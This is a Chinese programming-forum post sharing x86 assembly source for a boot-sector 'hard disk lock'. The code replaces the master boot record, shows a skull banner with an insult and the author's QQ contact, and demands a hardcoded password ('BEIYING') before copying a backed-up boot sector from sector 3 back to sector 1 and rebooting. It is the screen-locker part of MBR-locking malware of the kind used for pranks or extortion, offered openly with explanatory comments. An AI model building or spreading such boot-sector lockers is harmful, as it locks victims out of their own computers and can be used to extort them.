php中文网 | cnphp.com

 找回密码
 立即注册

QQ登录

只需一步,快速开始

搜索
查看: 382|回复: 0

硬盘逻辑锁骷髅头美化锁芯开源

[复制链接]

3138

主题

3148

帖子

1万

积分

管理员

Rank: 9Rank: 9Rank: 9

UID
1
威望
0
积分
7946
贡献
0
注册时间
2021-4-14
最后登录
2024-11-21
在线时间
763 小时
QQ
发表于 2022-12-9 16:59:52 | 显示全部楼层 |阅读模式
[mw_shl_code=applescript,true]org 0x7c00  ;这个是告诉编译器,我们的程序将会被加载到7c00这个位置,这个是BIOS负责的,我们管不了。
start: ;初始化寄存器的值
mov ax,cs
mov ds,ax ;是对ds,ss,es 段寄存器赋值 让他们都指向代码段。
mov ss,ax
mov es,ax
mov sp,0x100 ;开辟0x100字节的堆栈空间
;----------------------------------------------------------------
main:
        mov bp,msg1                ;指向一个字符串  所以这个字符串可以不是以0结尾
        mov cx,msg1_Len ;里面存放字符串的长度
        mov ax,0x1301  ;这个是显示服务的具体功能描述。
        mov bx,0x0c    ;描述了页号(BH = 0),BL描述了字体的样式(bl=0xc) 0xc 表示黑底红字 高亮等属性
        mov dl,0                ;dl = 0
    int 0x10 ;调用BIOS的显示服务。
        ;验证密码
  mov ax,0xb800 ;显示缓冲区
  add ax,0xA0   ;定位到第二行
  mov ds,ax                ;ds的值为0xb8A0 也就是显示器的第二行。
  xor cx,cx     ;cx = 0
  xor bx,bx
  GetChar:
   xor ax,ax
   int 0x16                ;键盘中断  具体请大家上百度查询
   cmp AL,0x8  ;退格键 if al==0x8
   je back
   CMP al,0x0d ;回车键
   je entry
   mov ah,2
   mov [bx],al
   mov [bx+1],ah
   add bx,2
   inc cx
   jmp GetChar
   back:
   sub bx,2
   dec cx
   xor ax,ax
   mov [bx],ax
   jmp  GetChar
   entry:
   ;逐个字符比较
   mov ax,cs
   mov es,ax
   xor bx,bx ;bx = 0
   mov si,Key  ;si 指向真正的密码   bx指向输入的密码
   mov cl,[cs:KeySize1]
   mov ch,0 ;cx
   cmp_key:
    mov al,[ds:bx] ;0xb8A0
        mov ah,[es:si]
        cmp al,ah
        jne key_err ;不相同,退出
        add bx,2
        inc si
        loop cmp_key
        ;密码验证正确,进行解密工作
        ;读取
        xor ax,ax ;初始化
        mov ax,0x7e00
        mov es,ax
        xor bx,bx
        mov ah,0x2
        mov dl,0x80
        mov al,1  ;数量
        mov dh,0  ;磁头
        mov ch,0  ;柱面  ;CHS寻址方式
        mov cl,3  ;扇区  ;我们在写加锁程序的时候用的是 LBA寻址方式,LBA寻址方式扇区号从0开始,具体请百度
        int 0x13
        ;写回去
        xor bx,bx
        mov dl,0x80
        mov ah,0x3
        mov al,1  ;数量
        mov dh,0  ;磁头
        mov ch,0  ;柱面
        mov cl,1  ;MBR扇区
        int 0x13
        jmp _REST  ;重启计算机
        key_err:
        mov bx,0xb800
        add bx,msg1_Len
        mov al,'X'
        mov [bx],al
   mov cx,[cs:KeySize1]
   xor ax,ax
   kk:  ;对输入的清0
    mov [bx],ax
        add bx,2
   loop kk
  jmp start
  ;重启计算机
_REST:
mov ax,0xffff
push ax
mov ax,0
push ax
retf
data:
msg1:        db "   .-'      '-.",0AH,0DH
msg2:        db "  /            \ ",0AH,0DH
msg3:        db " |              |",0AH,0DH
msg4:        db " |,  .-.  .-.  ,|",0AH,0DH
msg5:        db " | )(__/  \__)( |",0AH,0DH
msg6:        db " |/     /\     \|",0AH,0DH
msg7:        db " (_     ^^     _)",0AH,0DH
msg8:        db "  \__|IIIIII|__/",0AH,0DH
msg9:        db "   | \IIIIII/ |",0AH,0DH
msg10:        db "   \          /",0AH,0DH
msg11:        db "    `--------`",0AH,0DH
msg12:        db "    Fuck you",0AH,0DH
msg13:        db "   I'm beiying",0AH,0DH
msg14:        db "  QQ:1615802764"
msg1_Len equ  $-msg1
msg2_Len equ  $-msg2
msg3_Len equ  $-msg3
msg4_Len equ  $-msg4
msg5_Len equ  $-msg5
msg6_Len equ  $-msg6
msg7_Len equ  $-msg7
msg8_Len equ  $-msg8
msg9_Len equ  $-msg9
msg10_Len equ  $-msg10
msg11_Len equ  $-msg11
msg12_Len equ  $-msg12
msg13_Len equ  $-msg13
msg14_Len equ  $-msg14
KeySize1:db 7
Key:db 'BEIYING' ;也不能有中文
times 510-($-$$)  db 0xF
dw 0xAA55[/mw_shl_code]

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|php中文网 | cnphp.com ( 赣ICP备2021002321号-2 )

GMT+8, 2024-11-22 02:48 , Processed in 0.970623 second(s), 41 queries , Gzip On.

Powered by Discuz! X3.4 Licensed

Copyright © 2001-2020, Tencent Cloud.

申明:本站所有资源皆搜集自网络,相关版权归版权持有人所有,如有侵权,请电邮(fiorkn@foxmail.com)告之,本站会尽快删除。

快速回复 返回顶部 返回列表